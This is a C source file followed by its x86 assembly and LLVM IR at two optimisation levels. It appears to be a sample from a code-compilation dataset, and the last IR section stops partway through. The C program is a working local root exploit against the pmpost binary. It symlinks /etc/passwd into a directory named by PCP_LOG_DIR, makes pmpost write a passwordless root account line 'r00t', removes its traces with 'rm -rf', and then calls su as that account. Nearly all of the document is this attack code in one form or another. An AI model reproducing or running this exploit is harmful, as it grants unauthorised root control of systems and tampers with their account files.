#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ S_IRWXU;
int /*<<< orphan*/ WUNTRACED;
scalar_t__ chdir(char *);
int /*<<< orphan*/ errno;
int /*<<< orphan*/ execl(char const *, char const *, char *, char *, ...);
int /*<<< orphan*/ exit(int);
int fork();
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, char *, ...);
scalar_t__ mkdir(char *, int /*<<< orphan*/);
scalar_t__ putenv(char *);
int rand();
int /*<<< orphan*/ sprintf(char *, char *, ...);
int /*<<< orphan*/ srand(int /*<<< orphan*/);
int /*<<< orphan*/ stderr;
char *strerror(int /*<<< orphan*/);
scalar_t__ symlink(char *, char *);
int system(char *);
int /*<<< orphan*/ time(int /*<<< orphan*/ *);
int /*<<< orphan*/ waitpid(int /*<<< orphan*/, int /*<<< orphan*/ *,
                           int /*<<< orphan*/);
int main(int argc, char **argv) {
  const char *bin = argv[1];
  static char buf[512];
  static char dir[128];
  int sts;
  if (argc != 2) {
    fprintf(stderr, "Usage: %s path-to-pmpost\n", argv[0]);
    exit(1);
  }
  srand(time(NULL));
  sprintf(dir, "/tmp/dupa.%.8d", rand());
  if (mkdir(dir, S_IRWXU)) {
    fprintf(stderr, "%s: Error: mkdir \"%s\": %s\n", argv[0], dir,
            strerror(errno));
    exit(2);
  }
  if (chdir(dir)) {
    fprintf(stderr, "%s: Error: chdir \"%s\": %s\n", argv[0], dir,
            strerror(errno));
    exit(3);
  }
  if (symlink("/etc/passwd", "./NOTICES")) {
    fprintf(stderr, "%s: Error: symlink: %s\n", argv[0], strerror(errno));
    exit(4);
  }
  sprintf(buf, "PCP_LOG_DIR=%.500s", dir);
  if (putenv(buf)) {
    fprintf(stderr, "%s: Error: putenv \"%s\": %s\n", argv[0], buf,
            strerror(errno));
    exit(5);
  }
  sts = fork();
  if (sts == 0) {
    execl(bin, bin, "\nr00t::0:0:root:/root:/bin/sh", NULL);
    fprintf(stderr, "%s: Error: execl: \"%s\": %s\n", argv[0], bin,
            strerror(errno));
    exit(1);
  } else if (sts > 0) {
    waitpid(0, NULL, WUNTRACED);
    if (chdir("..")) {
      fprintf(stderr, "%s: Error: chdir \"..\": %s\n", argv[0],
              strerror(errno));
      exit(3);
    }
    sprintf(buf, "rm -rf dupa.*");
    if ((sts = system(buf)) != 0) {
      fprintf(stderr, "%s: Error: %s: exit status %d\n", argv[0], buf, sts);
      exit(3);
    }
    execl("/bin/su", "/bin/su", "r00t", "-c", "id", NULL);
  } else {
    fprintf(stderr, "%s: Error: fork: %s\n", argv[0], strerror(errno));
    exit(6);
  }
  exit(0);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0xa0,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rax
mov    %rax,-0x18(%rbp)
cmpl   $0x2,-0x8(%rbp)
je     1247 <main+0x57>
mov    0x2daa(%rip),%rax
mov    (%rax),%edi
mov    -0x10(%rbp),%rax
mov    (%rax),%rdx
lea    0xdca(%rip),%rsi
mov    $0x0,%al
call   1090 <fprintf@plt>
mov    $0x1,%edi
call   10d0 <exit@plt>
xor    %eax,%eax
mov    %eax,%edi
call   10a0 <time@plt>
mov    %eax,%edi
call   1070 <srand@plt>
mov    $0x0,%al
call   1110 <rand@plt>
mov    %eax,%edx
lea    0x3049(%rip),%rdi
lea    0xdac(%rip),%rsi
mov    $0x0,%al
call   10c0 <sprintf@plt>
mov    0x2d6c(%rip),%rax
mov    (%rax),%esi
lea    0x302b(%rip),%rdi
call   1030 <mkdir@plt>
cmp    $0x0,%rax
je     12e2 <main+0xf2>
mov    0x2d35(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x2c(%rbp)
mov    -0x10(%rbp),%rax
mov    (%rax),%rax
mov    %rax,-0x28(%rbp)
mov    0x2d16(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
mov    -0x2c(%rbp),%edi
mov    -0x28(%rbp),%rdx
mov    %rax,%r8
lea    0xd5f(%rip),%rsi
lea    0x2fdf(%rip),%rcx
mov    $0x0,%al
call   1090 <fprintf@plt>
mov    $0x2,%edi
call   10d0 <exit@plt>
lea    0x2fc7(%rip),%rdi
call   1040 <chdir@plt>
cmp    $0x0,%rax
je     1346 <main+0x156>
mov    0x2cd1(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x3c(%rbp)
mov    -0x10(%rbp),%rax
mov    (%rax),%rax
mov    %rax,-0x38(%rbp)
mov    0x2cb2(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
mov    -0x3c(%rbp),%edi
mov    -0x38(%rbp),%rdx
mov    %rax,%r8
lea    0xd16(%rip),%rsi
lea    0x2f7b(%rip),%rcx
mov    $0x0,%al
call   1090 <fprintf@plt>
mov    $0x3,%edi
call   10d0 <exit@plt>
lea    0xd12(%rip),%rdi
lea    0xd17(%rip),%rsi
call   1060 <symlink@plt>
cmp    $0x0,%rax
je     13aa <main+0x1ba>
mov    0x2c66(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4c(%rbp)
mov    -0x10(%rbp),%rax
mov    (%rax),%rax
mov    %rax,-0x48(%rbp)
mov    0x2c47(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
mov    -0x4c(%rbp),%edi
mov    -0x48(%rbp),%rdx
mov    %rax,%rcx
lea    0xcdc(%rip),%rsi
mov    $0x0,%al
call   1090 <fprintf@plt>
mov    $0x4,%edi
call   10d0 <exit@plt>
lea    0x2cff(%rip),%rdi
lea    0xcd5(%rip),%rsi
lea    0x2ef1(%rip),%rdx
mov    $0x0,%al
call   10c0 <sprintf@plt>
lea    0x2ce3(%rip),%rdi
call   1080 <putenv@plt>
cmp    $0x0,%rax
je     142a <main+0x23a>
mov    0x2bed(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x5c(%rbp)
mov    -0x10(%rbp),%rax
mov    (%rax),%rax
mov    %rax,-0x58(%rbp)
mov    0x2bce(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
mov    -0x5c(%rbp),%edi
mov    -0x58(%rbp),%rdx
mov    %rax,%r8
lea    0xc8e(%rip),%rsi
lea    0x2c97(%rip),%rcx
mov    $0x0,%al
call   1090 <fprintf@plt>
mov    $0x5,%edi
call   10d0 <exit@plt>
mov    $0x0,%al
call   1100 <fork@plt>
mov    %eax,-0x1c(%rbp)
cmpl   $0x0,-0x1c(%rbp)
jne    14ab <main+0x2bb>
mov    -0x18(%rbp),%rdi
mov    -0x18(%rbp),%rsi
lea    0xc6f(%rip),%rdx
xor    %eax,%eax
mov    %eax,%ecx
mov    $0x0,%al
call   10f0 <execl@plt>
mov    0x2b71(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x74(%rbp)
mov    -0x10(%rbp),%rax
mov    (%rax),%rax
mov    %rax,-0x70(%rbp)
mov    -0x18(%rbp),%rax
mov    %rax,-0x68(%rbp)
mov    0x2b4a(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
mov    -0x74(%rbp),%edi
mov    -0x70(%rbp),%rdx
mov    -0x68(%rbp),%rcx
mov    %rax,%r8
lea    0xc40(%rip),%rsi
mov    $0x0,%al
call   1090 <fprintf@plt>
mov    $0x1,%edi
call   10d0 <exit@plt>
cmpl   $0x0,-0x1c(%rbp)
jle    15bc <main+0x3cc>
mov    0x2b1c(%rip),%rax
mov    (%rax),%edx
xor    %edi,%edi
xor    %eax,%eax
mov    %eax,%esi
call   10b0 <waitpid@plt>
lea    0xc26(%rip),%rdi
call   1040 <chdir@plt>
cmp    $0x0,%rax
je     152c <main+0x33c>
mov    0x2aea(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x84(%rbp)
mov    -0x10(%rbp),%rax
mov    (%rax),%rax
mov    %rax,-0x80(%rbp)
mov    0x2ac8(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
mov    -0x84(%rbp),%edi
mov    -0x80(%rbp),%rdx
mov    %rax,%rcx
lea    0xbde(%rip),%rsi
mov    $0x0,%al
call   1090 <fprintf@plt>
mov    $0x3,%edi
call   10d0 <exit@plt>
lea    0x2b7d(%rip),%rdi
lea    0xbda(%rip),%rsi
mov    $0x0,%al
call   10c0 <sprintf@plt>
lea    0x2b68(%rip),%rdi
call   1050 <system@plt>
mov    %eax,-0x1c(%rbp)
cmp    $0x0,%eax
je     158c <main+0x39c>
mov    0x2a70(%rip),%rax
mov    (%rax),%edi
mov    -0x10(%rbp),%rax
mov    (%rax),%rdx
mov    -0x1c(%rbp),%r8d
lea    0xbae(%rip),%rsi
lea    0x2b35(%rip),%rcx
mov    $0x0,%al
call   1090 <fprintf@plt>
mov    $0x3,%edi
call   10d0 <exit@plt>
lea    0xbae(%rip),%rsi
lea    0xbaf(%rip),%rdx
lea    0xbad(%rip),%rcx
lea    0xba9(%rip),%r8
xor    %eax,%eax
mov    %eax,%r9d
mov    %rsi,%rdi
mov    $0x0,%al
call   10f0 <execl@plt>
jmp    160f <main+0x41f>
mov    0x2a0d(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x94(%rbp)
mov    -0x10(%rbp),%rax
mov    (%rax),%rax
mov    %rax,-0x90(%rbp)
mov    0x29e8(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
mov    -0x94(%rbp),%edi
mov    -0x90(%rbp),%rdx
mov    %rax,%rcx
lea    0xb56(%rip),%rsi
mov    $0x0,%al
call   1090 <fprintf@plt>
mov    $0x6,%edi
call   10d0 <exit@plt>
jmp    1614 <main+0x424>
xor    %edi,%edi
call   10d0 <exit@plt>

x86 assembly (clang, -O2):
<main>:
push   %r15
push   %r14
push   %rbx
mov    %rsi,%r15
cmp    $0x2,%edi
jne    1311 <main+0x121>
mov    0x8(%r15),%r14
xor    %edi,%edi
call   10a0 <time@plt>
mov    %eax,%edi
call   1070 <srand@plt>
xor    %eax,%eax
call   1110 <rand@plt>
lea    0x308f(%rip),%rbx
lea    0xdf2(%rip),%rsi
mov    %rbx,%rdi
mov    %eax,%edx
xor    %eax,%eax
call   10c0 <sprintf@plt>
mov    0x2dad(%rip),%rax
mov    (%rax),%esi
mov    %rbx,%rdi
call   1030 <mkdir@plt>
test   %rax,%rax
jne    1335 <main+0x145>
lea    0x305b(%rip),%rdi
call   1040 <chdir@plt>
test   %rax,%rax
jne    1376 <main+0x186>
lea    0xdf5(%rip),%rdi
lea    0xdfa(%rip),%rsi
call   1060 <symlink@plt>
test   %rax,%rax
jne    13b7 <main+0x1c7>
lea    0x2e2a(%rip),%rbx
lea    0xe00(%rip),%rsi
lea    0x301c(%rip),%rdx
mov    %rbx,%rdi
xor    %eax,%eax
call   10c0 <sprintf@plt>
mov    %rbx,%rdi
call   1080 <putenv@plt>
test   %rax,%rax
jne    13f1 <main+0x201>
xor    %eax,%eax
call   1100 <fork@plt>
test   %eax,%eax
jne    1432 <main+0x242>
lea    0xdf7(%rip),%rdx
mov    %r14,%rdi
mov    %r14,%rsi
xor    %ecx,%ecx
xor    %eax,%eax
call   10f0 <execl@plt>
mov    0x2cf5(%rip),%rax
mov    (%rax),%ebx
mov    (%r15),%r15
mov    0x2ce1(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
lea    0xde5(%rip),%rsi
mov    %ebx,%edi
mov    %r15,%rdx
mov    %r14,%rcx
mov    %rax,%r8
xor    %eax,%eax
call   1090 <fprintf@plt>
mov    $0x1,%edi
call   10d0 <exit@plt>
mov    0x2cb8(%rip),%rax
mov    (%rax),%edi
mov    (%r15),%rdx
lea    0xcdc(%rip),%rsi
xor    %eax,%eax
call   1090 <fprintf@plt>
mov    $0x1,%edi
call   10d0 <exit@plt>
mov    0x2c94(%rip),%rax
mov    (%rax),%ebx
mov    (%r15),%r14
mov    0x2c80(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
lea    0xcd3(%rip),%rsi
lea    0x2f53(%rip),%rcx
mov    %ebx,%edi
mov    %r14,%rdx
mov    %rax,%r8
xor    %eax,%eax
call   1090 <fprintf@plt>
mov    $0x2,%edi
call   10d0 <exit@plt>
mov    0x2c53(%rip),%rax
mov    (%rax),%ebx
mov    (%r15),%r14
mov    0x2c3f(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
lea    0xcad(%rip),%rsi
lea    0x2f12(%rip),%rcx
mov    %ebx,%edi
mov    %r14,%rdx
mov    %rax,%r8
xor    %eax,%eax
call   1090 <fprintf@plt>
mov    $0x3,%edi
call   10d0 <exit@plt>
mov    0x2c12(%rip),%rax
mov    (%rax),%ebx
mov    (%r15),%r14
mov    0x2bfe(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
lea    0xc9d(%rip),%rsi
mov    %ebx,%edi
mov    %r14,%rdx
mov    %rax,%rcx
xor    %eax,%eax
call   1090 <fprintf@plt>
mov    $0x4,%edi
call   10d0 <exit@plt>
mov    0x2bd8(%rip),%rax
mov    (%rax),%ebx
mov    (%r15),%r14
mov    0x2bc4(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
lea    0xc8e(%rip),%rsi
lea    0x2c97(%rip),%rcx
mov    %ebx,%edi
mov    %r14,%rdx
mov    %rax,%r8
xor    %eax,%eax
call   1090 <fprintf@plt>
mov    $0x5,%edi
call   10d0 <exit@plt>
jle    14c5 <main+0x2d5>
mov    0x2b99(%rip),%rax
mov    (%rax),%edx
xor    %edi,%edi
xor    %esi,%esi
call   10b0 <waitpid@plt>
lea    0xca5(%rip),%rdi
call   1040 <chdir@plt>
test   %rax,%rax
jne    14ff <main+0x30f>
movabs $0x2a2e6170756420,%rax
mov    %rax,0x2c46(%rip)
movabs $0x642066722d206d72,%rax
66 20 64
mov    %rax,0x2c2f(%rip)
lea    0x2c28(%rip),%rdi
call   1050 <system@plt>
test   %eax,%eax
jne    1539 <main+0x349>
lea    0xca5(%rip),%rdi
lea    0xca6(%rip),%rdx
lea    0xca4(%rip),%rcx
lea    0xca0(%rip),%r8
mov    %rdi,%rsi
xor    %r9d,%r9d
xor    %eax,%eax
call   10f0 <execl@plt>
xor    %edi,%edi
call   10d0 <exit@plt>
mov    0x2b04(%rip),%rax
mov    (%rax),%ebx
mov    (%r15),%r14
mov    0x2af0(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
lea    0xc6e(%rip),%rsi
mov    %ebx,%edi
mov    %r14,%rdx
mov    %rax,%rcx
xor    %eax,%eax
call   1090 <fprintf@plt>
mov    $0x6,%edi
call   10d0 <exit@plt>
mov    0x2aca(%rip),%rax
mov    (%rax),%ebx
mov    (%r15),%r14
mov    0x2ab6(%rip),%rax
mov    (%rax),%edi
call   10e0 <strerror@plt>
lea    0xbd9(%rip),%rsi
mov    %ebx,%edi
mov    %r14,%rdx
mov    %rax,%rcx
xor    %eax,%eax
call   1090 <fprintf@plt>
mov    $0x3,%edi
call   10d0 <exit@plt>
mov    0x2a90(%rip),%rcx
mov    (%rcx),%edi
mov    (%r15),%rdx
lea    0xbd6(%rip),%rsi
lea    0x2b5d(%rip),%rcx
mov    %eax,%r8d
xor    %eax,%eax
call   1090 <fprintf@plt>
mov    $0x3,%edi
call   10d0 <exit@plt>

LLVM IR (-O0):
@main.buf = internal global [512 x i8] zeroinitializer
@main.dir = internal global [128 x i8] zeroinitializer
@stderr = global i32 0
@.str = [26 x i8] c"Usage: %s path-to-pmpost\0A\00"
@.str.1 = [15 x i8] c"/tmp/dupa.%.8d\00"
@S_IRWXU = global i32 0
@.str.2 = [27 x i8] c"%s: Error: mkdir \22%s\22: %s\0A\00"
@errno = global i32 0
@.str.3 = [27 x i8] c"%s: Error: chdir \22%s\22: %s\0A\00"
@.str.4 = [12 x i8] c"/etc/passwd\00"
@.str.5 = [10 x i8] c"./NOTICES\00"
@.str.6 = [24 x i8] c"%s: Error: symlink: %s\0A\00"
@.str.7 = [19 x i8] c"PCP_LOG_DIR=%.500s\00"
@.str.8 = [28 x i8] c"%s: Error: putenv \22%s\22: %s\0A\00"
@.str.9 = [30 x i8] c"\0Ar00t::0:0:root:/root:/bin/sh\00"
@.str.10 = [28 x i8] c"%s: Error: execl: \22%s\22: %s\0A\00"
@WUNTRACED = global i32 0
@.str.11 = [3 x i8] c"..\00"
@.str.12 = [27 x i8] c"%s: Error: chdir \22..\22: %s\0A\00"
@.str.13 = [14 x i8] c"rm -rf dupa.*\00"
@.str.14 = [31 x i8] c"%s: Error: %s: exit status %d\0A\00"
@.str.15 = [8 x i8] c"/bin/su\00"
@.str.16 = [5 x i8] c"r00t\00"
@.str.17 = [3 x i8] c"-c\00"
@.str.18 = [3 x i8] c"id\00"
@.str.19 = [21 x i8] c"%s: Error: fork: %s\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i8*
%7 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%8 = load i8**, i8*** %5
%9 = getelementptr inbounds i8*, i8** %8, i64 1
%10 = load i8*, i8** %9
store i8* %10, i8** %6
%11 = load i32, i32* %4
%12 = icmp ne i32 %11, 2
br i1 %12, label %13, label %20
13: ; preds = %2
%14 = load i32, i32* @stderr
%15 = load i8**, i8*** %5
%16 = getelementptr inbounds i8*, i8** %15, i64 0
%17 = load i8*, i8** %16
%18 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %14, i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0), i8* %17)
%19 = call i32 @exit(i32 1)
unreachable
20: ; preds = %2
%21 = call i32 @time(i32* null)
%22 = call i32 @srand(i32 %21)
%23 = call i32 (...) @rand()
%24 = call i32 (i8*, i8*, ...) @sprintf(i8* getelementptr inbounds ([128 x i8], [128 x i8]* @main.dir, i64 0, i64 0), i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.1, i64 0, i64 0), i32 %23)
%25 = load i32, i32* @S_IRWXU
%26 = call i64 @mkdir(i8* getelementptr inbounds ([128 x i8], [128 x i8]* @main.dir, i64 0, i64 0), i32 %25)
%27 = icmp ne i64 %26, 0
br i1 %27, label %28, label %37
28: ; preds = %20
%29 = load i32, i32* @stderr
%30 = load i8**, i8*** %5
%31 = getelementptr inbounds i8*, i8** %30, i64 0
%32 = load i8*, i8** %31
%33 = load i32, i32* @errno
%34 = call i8* @strerror(i32 %33)
%35 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %29, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.2, i64 0, i64 0), i8* %32, i8* getelementptr inbounds ([128 x i8], [128 x i8]* @main.dir, i64 0, i64 0), i8* %34)
%36 = call i32 @exit(i32 2)
unreachable
37: ; preds = %20
%38 = call i64 @chdir(i8* getelementptr inbounds ([128 x i8], [128 x i8]* @main.dir, i64 0, i64 0))
%39 = icmp ne i64 %38, 0
br i1 %39, label %40, label %49
40: ; preds = %37
%41 = load i32, i32* @stderr
%42 = load i8**, i8*** %5
%43 = getelementptr inbounds i8*, i8** %42, i64 0
%44 = load i8*, i8** %43
%45 = load i32, i32* @errno
%46 = call i8* @strerror(i32 %45)
%47 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %41, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.3, i64 0, i64 0), i8* %44, i8* getelementptr inbounds ([128 x i8], [128 x i8]* @main.dir, i64 0, i64 0), i8* %46)
%48 = call i32 @exit(i32 3)
unreachable
49: ; preds = %37
%50 = call i64 @symlink(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.5, i64 0, i64 0))
%51 = icmp ne i64 %50, 0
br i1 %51, label %52, label %61
52: ; preds = %49
%53 = load i32, i32* @stderr
%54 = load i8**, i8*** %5
%55 = getelementptr inbounds i8*, i8** %54, i64 0
%56 = load i8*, i8** %55
%57 = load i32, i32* @errno
%58 = call i8* @strerror(i32 %57)
%59 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %53, i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.6, i64 0, i64 0), i8* %56, i8* %58)
%60 = call i32 @exit(i32 4)
unreachable
61: ; preds = %49
%62 = call i32 (i8*, i8*, ...) @sprintf(i8* getelementptr inbounds ([512 x i8], [512 x i8]* @main.buf, i64 0, i64 0), i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.7, i64 0, i64 0), i8* getelementptr inbounds ([128 x i8], [128 x i8]* @main.dir, i64 0, i64 0))
%63 = call i64 @putenv(i8* getelementptr inbounds ([512 x i8], [512 x i8]* @main.buf, i64 0, i64 0))
%64 = icmp ne i64 %63, 0
br i1 %64, label %65, label %74
65: ; preds = %61
%66 = load i32, i32* @stderr
%67 = load i8**, i8*** %5
%68 = getelementptr inbounds i8*, i8** %67, i64 0
%69 = load i8*, i8** %68
%70 = load i32, i32* @errno
%71 = call i8* @strerror(i32 %70)
%72 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %66, i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.8, i64 0, i64 0), i8* %69, i8* getelementptr inbounds ([512 x i8], [512 x i8]* @main.buf, i64 0, i64 0), i8* %71)
%73 = call i32 @exit(i32 5)
unreachable
74: ; preds = %61
%75 = call i32 (...) @fork()
store i32 %75, i32* %7
%76 = load i32, i32* %7
%77 = icmp eq i32 %76, 0
br i1 %77, label %78, label %91
78: ; preds = %74
%79 = load i8*, i8** %6
%80 = load i8*, i8** %6
%81 = call i32 (i8*, i8*, i8*, i8*, ...) @execl(i8* %79, i8* %80, i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str.9, i64 0, i64 0), i8* null)
%82 = load i32, i32* @stderr
%83 = load i8**, i8*** %5
%84 = getelementptr inbounds i8*, i8** %83, i64 0
%85 = load i8*, i8** %84
%86 = load i8*, i8** %6
%87 = load i32, i32* @errno
%88 = call i8* @strerror(i32 %87)
%89 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %82, i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.10, i64 0, i64 0), i8* %85, i8* %86, i8* %88)
%90 = call i32 @exit(i32 1)
unreachable
91: ; preds = %74
%92 = load i32, i32* %7
%93 = icmp sgt i32 %92, 0
br i1 %93, label %94, label %122
94: ; preds = %91
%95 = load i32, i32* @WUNTRACED
%96 = call i32 @waitpid(i32 0, i32* null, i32 %95)
%97 = call i64 @chdir(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.11, i64 0, i64 0))
%98 = icmp ne i64 %97, 0
br i1 %98, label %99, label %108
99: ; preds = %94
%100 = load i32, i32* @stderr
%101 = load i8**, i8*** %5
%102 = getelementptr inbounds i8*, i8** %101, i64 0
%103 = load i8*, i8** %102
%104 = load i32, i32* @errno
%105 = call i8* @strerror(i32 %104)
%106 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %100, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.12, i64 0, i64 0), i8* %103, i8* %105)
%107 = call i32 @exit(i32 3)
unreachable
108: ; preds = %94
%109 = call i32 (i8*, i8*, ...) @sprintf(i8* getelementptr inbounds ([512 x i8], [512 x i8]* @main.buf, i64 0, i64 0), i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.13, i64 0, i64 0))
%110 = call i32 @system(i8* getelementptr inbounds ([512 x i8], [512 x i8]* @main.buf, i64 0, i64 0))
store i32 %110, i32* %7
%111 = icmp ne i32 %110, 0
br i1 %111, label %112, label %120
112: ; preds = %108
%113 = load i32, i32* @stderr
%114 = load i8**, i8*** %5
%115 = getelementptr inbounds i8*, i8** %114, i64 0
%116 = load i8*, i8** %115
%117 = load i32, i32* %7
%118 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %113, i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.14, i64 0, i64 0), i8* %116, i8* getelementptr inbounds ([512 x i8], [512 x i8]* @main.buf, i64 0, i64 0), i32 %117)
%119 = call i32 @exit(i32 3)
unreachable
120: ; preds = %108
%121 = call i32 (i8*, i8*, i8*, i8*, ...) @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.15, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.15, i64 0, i64 0), i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.16, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.17, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.18, i64 0, i64 0), i8* null)
br label %131
122: ; preds = %91
%123 = load i32, i32* @stderr
%124 = load i8**, i8*** %5
%125 = getelementptr inbounds i8*, i8** %124, i64 0
%126 = load i8*, i8** %125
%127 = load i32, i32* @errno
%128 = call i8* @strerror(i32 %127)
%129 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %123, i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.19, i64 0, i64 0), i8* %126, i8* %128)
%130 = call i32 @exit(i32 6)
unreachable
131: ; preds = %120
br label %132
132: ; preds = %131
%133 = call i32 @exit(i32 0)
unreachable
}

LLVM IR (-O2):
@main.buf = internal global [512 x i8] zeroinitializer
@main.dir = internal global [128 x i8] zeroinitializer
@stderr = global i32 0
@.str = [26 x i8] c"Usage: %s path-to-pmpost\0A\00"
@.str.1 = [15 x i8] c"/tmp/dupa.%.8d\00"
@S_IRWXU = global i32 0
@.str.2 = [27 x i8] c"%s: Error: mkdir \22%s\22: %s\0A\00"
@errno = global i32 0
@.str.3 = [27 x i8] c"%s: Error: chdir \22%s\22: %s\0A\00"
@.str.4 = [12 x i8] c"/etc/passwd\00"
@.str.5 = [10 x i8] c"./NOTICES\00"
@.str.6 = [24 x i8] c"%s: Error: symlink: %s\0A\00"
@.str.7 = [19 x i8] c"PCP_LOG_DIR=%.500s\00"
@.str.8 = [28 x i8] c"%s: Error: putenv \22%s\22: %s\0A\00"
@.str.9 = [30 x i8] c"\0Ar00t::0:0:root:/root:/bin/sh\00"
@.str.10 = [28 x i8] c"%s: Error: execl: \22%s\22: %s\0A\00"
@WUNTRACED = global i32 0
@.str.11 = [3 x i8] c"..\00"
@.str.12 = [27 x i8] c"%s: Error: chdir \22..\22: %s\0A\00"
@.str.13 = [14 x i8] c"rm -rf dupa.*\00"
@.str.14 = [31 x i8] c"%s: Error: %s: exit status %d\0A\00"
@.str.15 = [8 x i8] c"/bin/su\00"
@.str.16 = [5 x i8] c"r00t\00"
@.str.17 = [3 x i8] c"-c\00"
@.str.18 = [3 x i8] c"id\00"
@.str.19 = [21 x i8] c"%s: Error: fork: %s\0A\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = getelementptr inbounds i8*, i8** %1, i64 1
%4 = load i8*, i8** %3
%5 = icmp eq i32 %0, 2
br i1 %5, label %11, label %6
6: ; preds = %2
%7 = load i32, i32* @stderr
%8 = load i8*, i8** %1
%9 = tail call i32 (i32, i8*, i8*, ...) @fprintf(i32 %7, i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0), i8* %8)
%10 = tail call i32 @exit(i32 1)
unreachable
11: ; preds = %2
%12 = tail call i32 @time(i32* null)
%13 = tail call i32 @srand(i32 %12)
%14 = tail call i32 (...) @rand()
%15 = tail call i32 (i8*, i8*, ...) @sprintf(i8* dereferenceable(1) getelementptr inbounds ([128 x i8], [128 x i8]* @main.dir, i64 0, i64 0), i8* dereferenceable(1) getelementptr inbounds ([15 x i8], [15 x i8]* @.str.1, i64 0, i64 0), i32 %14)
%16 = load i32, i32* @S_IRWXU
%17 = tail call i64 @mkdir(i8* getelementptr inbounds ([128 x i8], [128 x i8]* @main.dir, i64 0, i64 0), i32 %16)
%18 = icmp eq i64 %17, 0
br i1 %18, label %26, label %19
19: ; preds = %11
%20 = load i32, i32* @stderr
%21 = load i8*, i8** %1
%22 = load i32, i32* @errno
%23 = tail call i8* @strerror(i32 %22)
%24 = tail call i32 (i32, i8*, i8*, ...) @fprintf(i32 %20, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.2, i64 0, i64 0), i8* %21, i8* getelementptr inbounds ([128 x i8], [128 x i8]* @main.dir, i64 0, i64 0), i8* %23)
%25 = tail call i32 @exit(i32 2)
unreachable
26: ; preds = %11
%27 = tail call i64 @chdir(i8* getelementptr inbounds ([128 x i8], [128 x i8]* @main.dir, i64 0, i64 0))
%28 = icmp eq i64 %27, 0
br i1 %28, label %36, label %29
29: ; preds = %26
%30 = load i32, i32* @stderr
%31 = load i8*, i8** %1
%32 = load i32, i32* @errno
%33 = tail call i8* @strerror(i32 %32)
%34 = tail call i32 (i32, i8*, i8*, ...) @fprintf(i32 %30, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.3, i64 0, i64 0), i8* %31, i8* getelementptr inbounds ([128 x i8], [128 x i8]* @main.dir, i64 0, i64 0), i8* %33)
%35 = tail call i32 @exit(i32 3)
unreachable
36: ; preds = %26
%37 = tail call i64 @symlink(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.4, i64 0, i64 0), i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.5, i64 0, i64 0))
%38 = icmp eq i64 %37, 0
br i1 %38, label %46, label %39
39: ; preds = %36
%40 = load i32, i32* @stderr
%41 = load i8*, i8** %1
